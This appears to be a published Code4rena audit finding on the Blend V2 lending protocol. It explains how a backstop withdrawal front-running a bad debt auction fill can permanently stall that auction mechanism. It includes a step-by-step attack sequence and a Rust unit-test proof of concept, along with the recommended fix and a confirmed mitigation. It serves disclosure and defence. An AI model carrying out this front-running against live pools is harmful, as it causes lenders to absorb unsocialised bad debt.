If a withdrawal executes after a bad debt auction gets created, it could cause the auction to be stuck and further bad debt auctions can’t be created
rscodes Follow with 0xAlix2, attentioniayn and 1 other
Originally disclosed on Code4rena
Submitted by rscodes, also found by 0xAlix2, attentioniayn, and rapid
Finding description and impact
In a bad debt auction:
- Bid token - the
dtokens(debt) the auction winner will take on. - Lot token - The backstop token the pool will transfer to the auction winner.
From block 0 to 200, the amount of lot tokens given to winner scales upwards and peaks at block 200.
From block 200 to infinity, the amount of lot tokens given to winner stays the same at the peak value.
So the first key observation is that the lot tokens can only increase or stay the same (and throughout the auction, will never decrease).
The second key observation is that there is no option to remove a bad debt auction. So if a bad debt auction can’t be filled then it’ll just be stuck there. It is worth noting that if there is an existing bad debt auction, then create_bad_debt_auction_data will not allow a new bad debt auction. (Hence, resulting in the whole bad debt auction mechanism to be stuck)
- The only auction that has a function to remove it is the user liquidation auction. For bad debt auctions, only after filling it and a winner is chosen, then it will be removed.
The third observation is this line in create_bad_debt_auction_data:
- The Line:
lot_amount = pool_backstop_data.tokens.min(lot_amount) - Putting this in place was with the intention to ensure that the pool has sufficient backstop tokens so that the bad debt auction can be filled and wont be stuck.
However, combining the 3 observations, we can derive a scenario where malicious users can brick new bad debt auctions.
Sequence of Attack
-
Suppose the backstop currently has
50,000e7tokens. -
Attackerinitiates withdrawal of their9,000e7tokens. (And a one week lock starts) -
Some time later:
- A bad debt auction is created. (Looking at the third observation, at this point of time, the pool still has
50,000e7tokens so the min capping does not affect this). - Let’s say the optimal time to fill the auction is at block B, with users taking on X amount of debt in exchange for
42,000e7tokens. - So
victimattempts to fill the auction at block B, howeverAttackerfrontruns withwithdraw. (and now the pool is left with41_000e7tokens). - Now, the pool does not have enough tokens and the attempt to fill the auction panics and reverts.
- A bad debt auction is created. (Looking at the third observation, at this point of time, the pool still has
As explained in the first observation, since lot token amounts can only increase/stay the same, even if the victim continues waiting, this bad debt auction can’t be filled
Now, leveraging on the second observation, the existing bad debt auction is stuck there, preventing new bad debt auctions from being created.
Impact and likelihood
Since new bad debt auctions can’t be created, it causes certain losses for the lenders. (Plus, this current bad debt isn’t socialized properly as well and lenders take the damage for it eventually).
This is almost certain to happen to pools with lower backstop supply. However, the likelihood shouldn’t be downgraded because of this as even some pools in uniswap have low supply. Furthermore, the low supply part is regarding the backstop pool, which is very likely to have less stakers than the main lender pool.
Proof of Concept
Go to bad_debt_auction.rs and paste the PoC in the mod tests struct:
#[test]
fn test_withdrawal_during_auction() {
let e = Env::default();
e.mock_all_auths_allowing_non_root_auth();
e.cost_estimate().budget().reset_unlimited(); // setup exhausts budget
e.ledger().set(LedgerInfo {
timestamp: 12345,
protocol_version: 22,
sequence_number: 51,
network_id: Default::default(),
base_reserve: 10,
min_temp_entry_ttl: 10,
min_persistent_entry_ttl: 10,
max_entry_ttl: 3110400,
});
let bombadil = Address::generate(&e);
let samwise = Address::generate(&e);
let pool_address = create_pool(&e);
let (blnd, blnd_client) = testutils::create_blnd_token(&e, &pool_address, &bombadil);
let (usdc, usdc_client) = testutils::create_token_contract(&e, &bombadil);
let (lp_token, lp_token_client) =
testutils::create_comet_lp_pool(&e, &bombadil, &blnd, &usdc);
let (backstop_address, backstop_client) =
testutils::create_backstop(&e, &pool_address, &lp_token, &usdc, &blnd);
// mint lp tokens
blnd_client.mint(&samwise, &500_001_0000000);
blnd_client.approve(&samwise, &lp_token, &i128::MAX, &99999);
usdc_client.mint(&samwise, &12_501_0000000);
usdc_client.approve(&samwise, &lp_token, &i128::MAX, &99999);
lp_token_client.join_pool(
&50_000_0000000,
&vec![&e, 500_001_0000000, 12_501_0000000],
&samwise,
);
backstop_client.deposit(&samwise, &pool_address, &50_000_0000000);
let (underlying_0, _) = testutils::create_token_contract(&e, &bombadil);
let (mut reserve_config_0, mut reserve_data_0) = testutils::default_reserve_meta();
reserve_data_0.d_rate = 1_100_000_000_000;
reserve_data_0.last_time = 12345;
reserve_config_0.index = 0;
testutils::create_reserve(
&e,
&pool_address,
&underlying_0,
&reserve_config_0,
&reserve_data_0,
);
let (underlying_1, _) = testutils::create_token_contract(&e, &bombadil);
let (mut reserve_config_1, mut reserve_data_1) = testutils::default_reserve_meta();
reserve_data_1.d_rate = 1_200_000_000_000;
reserve_data_1.last_time = 12345;
reserve_config_1.index = 1;
testutils::create_reserve(
&e,
&pool_address,
&underlying_1,
&reserve_config_1,
&reserve_data_1,
);
let (underlying_2, _) = testutils::create_token_contract(&e, &bombadil);
let (mut reserve_config_2, mut reserve_data_2) = testutils::default_reserve_meta();
reserve_data_2.b_rate = 1_100_000_000_000;
reserve_data_2.last_time = 12345;
reserve_config_2.index = 1;
testutils::create_reserve(
&e,
&pool_address,
&underlying_2,
&reserve_config_2,
&reserve_data_2,
);
let pool_config = PoolConfig {
oracle: Address::generate(&e),
min_collateral: 1_0000000,
bstop_rate: 0_1000000,
status: 0,
max_positions: 4,
};
let mut auction_data = AuctionData {
bid: map![&e, (underlying_0, 10_0000000), (underlying_1, 2_5000000)],
lot: map![&e, (lp_token.clone(), 42_000_0000000)],
block: 51,
};
let positions: Positions = Positions {
collateral: map![&e],
liabilities: map![
&e,
(reserve_config_0.index, 10_0000000),
(reserve_config_1.index, 2_5000000)
],
supply: map![&e],
};
e.as_contract(&pool_address, || {
e.mock_all_auths_allowing_non_root_auth();
backstop_client.queue_withdrawal(&samwise, &pool_address, &9_000_0000000);
e.ledger().with_mut(|ledger| {
ledger.timestamp += 17 * 24 * 60 * 60 //1 week
});
storage::set_auction(
&e,
&(AuctionType::BadDebtAuction as u32),
&backstop_address,
&auction_data,
);
storage::set_pool_config(&e, &pool_config);
storage::set_user_positions(&e, &backstop_address, &positions);
let mut pool = Pool::load(&e);
let mut samwise_state = User::load(&e, &samwise);
/* A withdrawal executes some time between [create and fill] */
backstop_client.withdraw(&samwise, &pool_address, &9_000_0000000);
/* */
fill_bad_debt_auction(&e, &mut pool, &mut auction_data, &mut samwise_state);
});
}
Run cargo test test_withdrawal_during_auction and we can see that it panics during fill_bad_debt_auction.
Recommendation
In the fill_bad_debt_auction function, in the backstop_client.draw function, cap the lot_amount drawn to the current balance of the backstop pool.
Capping the lot token does not cause direct loss for the auction fillers as well because the bid token (which is the debt they have to take on in exchange) goes down. If they feel it’s not worth it now, they can always wait and fill it a few blocks later where they take on less debt.
markus_pl10 (Script3) confirmed
PR 48 to block
backstop::withdrawcalls if the backstop currently holds bad debt.
Status: Mitigation confirmed. Full details in reports from 0x007, Testerbot, 0xAlix2, oakcobalt and rscodes.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is known
A medium-severity business logic bug in Blend V2 Audit + Certora Formal Verification. Code4rena made it public on 13 August 2025. Found in the 2025-02-blend-v2-audit-certora-formal-verification audit contest (finding M-03), also found by 3 other wardens.
About Business logic
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.